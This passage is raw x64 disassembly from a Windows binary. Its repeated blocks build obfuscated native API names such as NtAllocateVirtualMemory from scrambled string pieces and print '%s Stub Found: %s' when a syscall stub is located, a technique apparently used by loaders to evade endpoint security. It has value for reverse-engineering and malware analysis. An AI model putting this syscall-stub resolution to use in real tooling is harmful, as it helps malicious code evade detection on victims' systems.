call fcn.1400bba50
lea rdx, [rbp + 0x3b50]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3b50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3b70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3b90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3bb0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3bd0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3bf0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3c10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3c30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3c50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3c70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3c90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3cb0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3cd0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3cff]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3d00]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140006ed2
lea rbx, [0x14041758e]
jmp 0x140006ed9
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3f2f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x3f2f]
lea rax, [rbp + 0x3f00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x3ee0]
lea rdx, [rbp + 0x3f00]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3ec0]
lea rdx, [rbp + 0x3ee0]
lea r8, [0x1404175ce]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3ea0]
lea rdx, [rbp + 0x3ec0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3e80]
lea rdx, [rbp + 0x3ea0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3e60]
lea rdx, [rbp + 0x3e80]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3e40]
lea rdx, [rbp + 0x3e60]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3e20]
lea rdx, [rbp + 0x3e40]
lea r8, [0x140417574]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3e00]
lea rdx, [rbp + 0x3e20]
lea r8, [0x1404175d4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3de0]
lea rdx, [rbp + 0x3e00]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3dc0]
lea rdx, [rbp + 0x3de0]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3da0]
lea rdx, [rbp + 0x3dc0]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3d80]
lea rdx, [rbp + 0x3da0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d80]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d60]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d40]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x3d20]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3d20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3d40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3d60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3d80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3da0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3dc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3de0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3e00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3e20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3e40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3e60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3e80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ea0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ec0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ee0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3f00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3f2f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3f30]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x14000726d
lea rbx, [0x14041758e]
jmp 0x140007274
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x41bf]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x41bf]
lea rax, [rbp + 0x4190]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4170]
lea rdx, [rbp + 0x4190]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4150]
lea rdx, [rbp + 0x4170]
lea r8, [0x140417574]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4130]
lea rdx, [rbp + 0x4150]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4110]
lea rdx, [rbp + 0x4130]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x40f0]
lea rdx, [rbp + 0x4110]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x40d0]
lea rdx, [rbp + 0x40f0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x40b0]
lea rdx, [rbp + 0x40d0]
lea r8, [0x1404175bc]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4090]
lea rdx, [rbp + 0x40b0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4070]
lea rdx, [rbp + 0x4090]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4050]
lea rdx, [rbp + 0x4070]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4030]
lea rdx, [rbp + 0x4050]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4010]
lea rdx, [rbp + 0x4030]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3ff0]
lea rdx, [rbp + 0x4010]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3fd0]
lea rdx, [rbp + 0x3ff0]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3fb0]
lea rdx, [rbp + 0x3fd0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3f90]
lea rdx, [rbp + 0x3fb0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3f70]
lea rdx, [rbp + 0x3f90]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3f50]
lea rdx, [rbp + 0x3f70]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x3f50]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3f50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3f70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3f90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3fb0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ff0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4010]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4030]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4050]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4070]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4090]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x40b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x40d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x40f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4110]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4130]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4150]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4170]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4190]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x41bf]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x41c0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x41c0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x41c0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x14000768c
lea rbx, [0x14041758e]
jmp 0x140007693
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x442f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x442f]
lea rax, [rbp + 0x4400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x43e0]
lea rdx, [rbp + 0x4400]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x43c0]
lea rdx, [rbp + 0x43e0]
lea r8, [0x1404175d6]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x43a0]
lea rdx, [rbp + 0x43c0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4380]
lea rdx, [rbp + 0x43a0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4360]
lea rdx, [rbp + 0x4380]
lea r8, [0x1404175b0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4340]
lea rdx, [rbp + 0x4360]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4320]
lea rdx, [rbp + 0x4340]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4300]
lea rdx, [rbp + 0x4320]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x42e0]
lea rdx, [rbp + 0x4300]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x42c0]
lea rdx, [rbp + 0x42e0]
lea r8, [0x1404175ba]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x42a0]
lea rdx, [rbp + 0x42c0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4280]
lea rdx, [rbp + 0x42a0]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4260]
lea rdx, [rbp + 0x4280]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4240]
lea rdx, [rbp + 0x4260]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4220]
lea rdx, [rbp + 0x4240]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4200]
lea rdx, [rbp + 0x4220]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x41e0]
lea rdx, [rbp + 0x4200]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x41e0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x41e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4200]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4220]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4240]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4260]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4280]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x42a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x42c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x42e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4300]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4320]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4340]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4380]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x43a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x43c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x43e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4400]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x442f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x4430]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x4430]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x4430]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140007a7f
lea rbx, [0x14041758e]
jmp 0x140007a86
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x469f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x469f]
lea rax, [rbp + 0x4670]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4650]
lea rdx, [rbp + 0x4670]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4630]
lea rdx, [rbp + 0x4650]
lea r8, [0x1404175c2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4610]
lea rdx, [rbp + 0x4630]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x45f0]
lea rdx, [rbp + 0x4610]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x45d0]
lea rdx, [rbp + 0x45f0]
lea r8, [0x1404175b0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x45b0]
lea rdx, [rbp + 0x45d0]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4590]
lea rdx, [rbp + 0x45b0]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4570]
lea rdx, [rbp + 0x4590]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4550]
lea rdx, [rbp + 0x4570]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4530]
lea rdx, [rbp + 0x4550]
lea r8, [0x1404175ba]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4510]
lea rdx, [rbp + 0x4530]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x44f0]
lea rdx, [rbp + 0x4510]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x44d0]
lea rdx, [rbp + 0x44f0]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x44b0]
lea rdx, [rbp + 0x44d0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4490]
lea rdx, [rbp + 0x44b0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4470]
lea rdx, [rbp + 0x4490]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4450]
lea rdx, [rbp + 0x4470]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x4450]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x4450]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4470]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4490]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x44b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x44d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x44f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4510]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4530]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4550]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4570]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4590]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x45b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x45d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x45f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4610]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4630]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4650]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4670]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x469f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x46a0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x46a0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x46a0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140007e72
lea rbx, [0x14041758e]
jmp 0x140007e79
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x48cf]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x48cf]
lea rax, [rbp + 0x48a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4880]
lea rdx, [rbp + 0x48a0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4860]
lea rdx, [rbp + 0x4880]
lea r8, [0x1404175d8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4840]
lea rdx, [rbp + 0x4860]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4820]
lea rdx, [rbp + 0x4840]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4800]
lea rdx, [rbp + 0x4820]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x47e0]
lea rdx, [rbp + 0x4800]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x47c0]
lea rdx, [rbp + 0x47e0]
lea r8, [0x1404175b8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x47a0]
lea rdx, [rbp + 0x47c0]
lea r8, [0x1404175ba]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4780]
lea rdx, [rbp + 0x47a0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4760]
lea rdx, [rbp + 0x4780]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4740]
lea rdx, [rbp + 0x4760]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4720]
lea rdx, [rbp + 0x4740]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4700]
lea rdx, [rbp + 0x4720]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x46e0]
lea rdx, [rbp + 0x4700]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x46c0]
lea rdx, [rbp + 0x46e0]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x46c0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x46c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x46e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4700]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4720]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4740]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4760]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4780]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x47a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x47c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x47e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4800]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4820]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4840]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4860]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4880]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x48a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x48cf]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x48d0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x48d0]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x48d0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x14000820d
lea rbx, [0x14041758e]
jmp 0x140008214
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4a9f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x4a9f]
lea rax, [rbp + 0x4a70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4a50]
lea rdx, [rbp + 0x4a70]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4a30]
lea rdx, [rbp + 0x4a50]
lea r8, [0x1404175c8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4a10]
lea rdx, [rbp + 0x4a30]
lea r8, [0x1404175d4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x49f0]
lea rdx, [rbp + 0x4a10]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x49d0]
lea rdx, [rbp + 0x49f0]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x49b0]
lea rdx, [rbp + 0x49d0]
lea r8, [0x1404175c2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4990]
lea rdx, [rbp + 0x49b0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4970]
lea rdx, [rbp + 0x4990]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4950]
lea rdx, [rbp + 0x4970]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4930]
lea rdx, [rbp + 0x4950]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4910]
lea rdx, [rbp + 0x4930]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x48f0]
lea rdx, [rbp + 0x4910]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x48f0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x48f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4910]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4930]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4950]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4970]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4990]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x49b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x49d0]
mov rcx, rax
call fcn.1400ab5f0
